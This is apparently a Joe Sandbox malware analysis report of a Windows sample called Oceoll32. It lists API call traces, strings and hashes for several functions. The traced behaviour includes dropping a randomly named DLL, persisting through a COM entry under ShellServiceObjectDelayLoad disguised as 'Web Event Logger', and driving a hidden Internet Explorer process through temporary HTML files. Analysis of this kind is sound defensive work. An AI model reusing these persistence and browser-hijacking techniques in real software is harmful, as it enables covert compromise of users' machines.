Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateHandleLocalReadSize
String ID:
API String ID: 2632956699-0
Opcode ID: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction ID: fb77f57afc793f1fdbd914af7197191687e2a95eac13cef646675694312e246c
Opcode Fuzzy Hash: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction Fuzzy Hash: 14116531A00208BAEB216E65CC06F9DB7A8DB00765F108576FA10BA2D1D67DAF018B5D

Function 00403F68 Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 135
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FA7
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FD4
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00404010
sprintf.CRTDLL(?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404048
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404063
sprintf.CRTDLL(Onkcje32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404086
WriteFile.KERNEL32(?,0042AA84,00001A01,?,00000000,Onkcje32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll), ref: 004040A4
CloseHandle.KERNEL32(?,?,0042AA84,00001A01,?,00000000,Onkcje32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?), ref: 004040BB
sprintf.CRTDLL(?,CLSID\%s\InProcServer32,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,0042AA84,00001A01,?,00000000,Onkcje32,00429080,?,40000000,00000000,00000000,00000002), ref: 004040D3

Strings

Apartment, xrefs: 0040410A
Web Event Logger, xrefs: 00404126
CLSID\%s\InProcServer32, xrefs: 004040C7
Onkcje32, xrefs: 00404080, 00404085
Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad, xrefs: 0040412B
{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 00403F92, 004040C6, 00404125
ThreadingModel, xrefs: 0040410F
3, xrefs: 0040401C
2, xrefs: 00404023
%s\%s.dll, xrefs: 0040403C

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: randsprintf$File$CloseCreateHandleWrite
String ID: %s\%s.dll$2$3$Apartment$CLSID\%s\InProcServer32$Onkcje32$Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad$ThreadingModel$Web Event Logger${79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 4269242784-3154792301
Opcode ID: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction ID: 8034dccab87c86b1e0d8b3b5755954c703eafec793446a3a0ea57bc4b4fc6a7a
Opcode Fuzzy Hash: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction Fuzzy Hash: E7415771F482286AD7109769EC46BE97AAC8B49304F5400FBB908F72C1D6FC9E458F69

Function 00403CE9 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403CFD
memcpy.CRTDLL(-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403D7A
memset.CRTDLL(00406DCE,00000000,0000000C,-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080), ref: 00403D8F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DF6
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DFE
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E1F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E27
memcpy.CRTDLL(-0042AA4C,0042AA44,00000040,?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE), ref: 00403E52

Strings

+Z}), xrefs: 00403CF2

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: rand$memcpy$memset
String ID: +Z})
API String ID: 1341957784-4018127762
Opcode ID: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction ID: df63eb390851271c68cbd719fcc6126871763b87c01c507511359465d0d2d2d2
Opcode Fuzzy Hash: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction Fuzzy Hash: A4719E31F042159BCB10CF69DD42A9E7BF5AF88354F584076E901B77A0D23CAA16CBAD

Function 00404148 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001,00006A14,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,?,004040F5), ref: 00404189
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001), ref: 004041AB
RegCloseKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72), ref: 004041B9

Strings

{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 0040414D

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: {79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 1818849710-4250702572
Opcode ID: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction ID: 412fd7a6ac4860a679fa2010a2fd1b93dd732dea722ee027fa7473d1befc18ea
Opcode Fuzzy Hash: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction Fuzzy Hash: A7018472B00108BBEB114A95CC02FFEBA6AEF44764F250065FA00B71D1C6B1AE519754

Function 0040365E Relevance: 6.0, APIs: 4, Instructions: 30
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: File$AllocCloseHandleLocalReadSize
String ID:
API String ID: 341201350-0
Opcode ID: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction ID: f40f052c398d65a7c82f7348c4b70b1bbd35af8546e58ac1d0fc8a8e918c22c0
Opcode Fuzzy Hash: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction Fuzzy Hash: 4EF01C76F04504BAEB01ABA58C02BDD77789B04319F108467F604B62C1D27D6B119B6E

Function 00407980 Relevance: 4.5, APIs: 3, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: CommandHandleLineModulestrchr
String ID:
API String ID: 2139856000-0
Opcode ID: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction ID: bd194e91918afd51b414fff694719a57869652e1cfdb10064340714cce8cfdd4
Opcode Fuzzy Hash: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction Fuzzy Hash: 98F062D1E2C28124FF3162764C4673FAD8A9782754F281477E482F62C2E5BCAD52922B

Function 00401219 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction ID: 1ee26eb31ace3a5089fdf6d32769bdd241f616d51084a453fd18da055c90a8b4
Opcode Fuzzy Hash: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction Fuzzy Hash: 52F09670F44300BBDB206F55DD03F167AA8EB08F1CF90002AFA44611D1D67D6420569F

Function 0040121F Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction ID: 22fee5bca0d1ee63cc250ffe024ab50772efda8fe48dde45178863df2fdfff2b
Opcode Fuzzy Hash: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction Fuzzy Hash: BEF090B0F44300BBDA206F55AC03F1A7AA8EB08B1CFA0002AFA44611E1DA7D6420569F

Non-executed Functions

Function 00405133 Relevance: 65.0, APIs: 28, Strings: 9, Instructions: 238
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00405181
lstrlenA.KERNEL32(?,?), ref: 00405195
lstrlenA.KERNEL32(?,?,?), ref: 004051A6
lstrlenA.KERNEL32(?,?,?,?), ref: 004051C4
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004051D5
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 004051E6
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405218
memset.CRTDLL(?,00000000,00000010,?,?,?,?,?,?), ref: 0040522E
GetTickCount.KERNEL32 ref: 00405239
srand.CRTDLL(00000000,?,00000000,00000010,?,?,?,?,?,?), ref: 0040523F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

LocalFree.KERNEL32(?,?,?,?,?,?,?), ref: 0040526C
ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,?,?), ref: 00405290
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052D4

Strings

Path, xrefs: 00405250
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
X-okRecv11, xrefs: 00405458
IEFrame, xrefs: 004053F2
D, xrefs: 00405334
7O{M, xrefs: 0040513F
MicroSoft-Corp, xrefs: 004053C3
\Iexplore.exe , xrefs: 004052EC
Software\Microsoft\IE Setup\Setup, xrefs: 00405255

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: lstrlen$FreeLocal$CountEnvironmentExpandIncrementInterlockedOpenStringsTickmemsetsrand
String ID: %s%u - Microsoft Internet Explorer$7O{M$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 2987844104-963083691
Opcode ID: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction ID: eaf183550e18aa99804e3b29fd782d62b91feccc71c8544a1a81296d936fe118
Opcode Fuzzy Hash: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction Fuzzy Hash: 8E91B471E092186BDF20EB65CC49BDEB779AF40308F1440F6E208B61D1DAB96EC58F59

Function 00405C09 Relevance: 59.7, APIs: 25, Strings: 9, Instructions: 230stringfilesleepCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405C3C
GetTickCount.KERNEL32 ref: 00405C54
srand.CRTDLL(00000000,?), ref: 00405C5A
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405C69
memset.CRTDLL(?,00000000,00000010,0042C48C,00000000,?), ref: 00405C7F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,00000000,?), ref: 00405CC2

Part of subcall function 0040570C: GetTempPathA.KERNEL32(00000104,?), ref: 00405730
Part of subcall function 0040570C: strcat.CRTDLL(?,.htm), ref: 00405764
Part of subcall function 0040570C: sprintf.CRTDLL(?,<html>), ref: 00405778
Part of subcall function 0040570C: rand.CRTDLL ref: 00405786
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 004057A4
Part of subcall function 0040570C: rand.CRTDLL ref: 004057AC
Part of subcall function 0040570C: rand.CRTDLL ref: 004057BE
Part of subcall function 0040570C: sprintf.CRTDLL(?,%s,?), ref: 004057DF
Part of subcall function 0040570C: rand.CRTDLL ref: 004057E7
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405805
Part of subcall function 0040570C: strcat.CRTDLL(?,<head>), ref: 00405819
Part of subcall function 0040570C: rand.CRTDLL ref: 00405827
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405845
Part of subcall function 0040570C: rand.CRTDLL ref: 0040584D

strcat.CRTDLL(?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405CF7
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D0A

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D2B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405D95
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DA8
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DCA
FindWindowA.USER32(IEFrame,?), ref: 00405DED
Sleep.KERNEL32(000003E8,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405DFD
Sleep.KERNEL32(0000F000,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405E20
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405E38
CopyFileA.KERNEL32(?,?,00000000), ref: 00405E85
DeleteFileA.KERNEL32(?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EA4
lstrlenA.KERNEL32(<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EAE
strncmp.CRTDLL(00000000,<HTML><!--,00000000,<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000), ref: 00405EBA
lstrlenA.KERNEL32(<HTML><!--,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405ECB
LocalFree.KERNEL32(00000000,?,?,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000), ref: 00405F0F
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F2B
TerminateProcess.KERNEL32(?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F38
CloseHandle.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F49

Strings

Path, xrefs: 00405C90
%s%u - Microsoft Internet Explorer, xrefs: 00405DBE
X-okRecv11, xrefs: 00405E3F
IEFrame, xrefs: 00405DE8
MicroSoft-Corp, xrefs: 00405DB9
D, xrefs: 00405D39
<HTML><!--, xrefs: 00405EA9, 00405EB4, 00405EC6
\Iexplore.exe , xrefs: 00405CEB
Software\Microsoft\IE Setup\Setup, xrefs: 00405C95

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: strcat$rand$Filelstrlensprintf$CloseDeleteHandleProcessSleepThreadWindowmemset$CopyCountCreateCurrentDesktopEnvironmentExpandFindFreeIncrementInterlockedLocalOpenPathStringsTempTerminateTextTicksrandstrncmp
String ID: %s%u - Microsoft Internet Explorer$<HTML><!--$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 4103625910-1993706416
Opcode ID: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction ID: dc295d18008c6f961fbff17ccdc6ec9b88b81df80f56d8f6893aa762a7281c5f
Opcode Fuzzy Hash: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction Fuzzy Hash: 7B81A8B1E041186ADB20B665CC4ABDEB7BD9F40304F1444F7B608F61D1E6B99F848F59

Function 00406753 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

Part of subcall function 004013CC: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004013EF

Part of subcall function 004054D7: lstrlenA.KERNEL32(?), ref: 004054F1
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?), ref: 00405505
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?), ref: 00405513
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
Part of subcall function 004054D7: LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
Part of subcall function 004054D7: memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
Part of subcall function 004054D7: CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
Part of subcall function 004054D7: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
Part of subcall function 004054D7: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8

Part of subcall function 00401348: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00401375

Strings

Software\Microsoft, xrefs: 004067C5, 0040680B

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
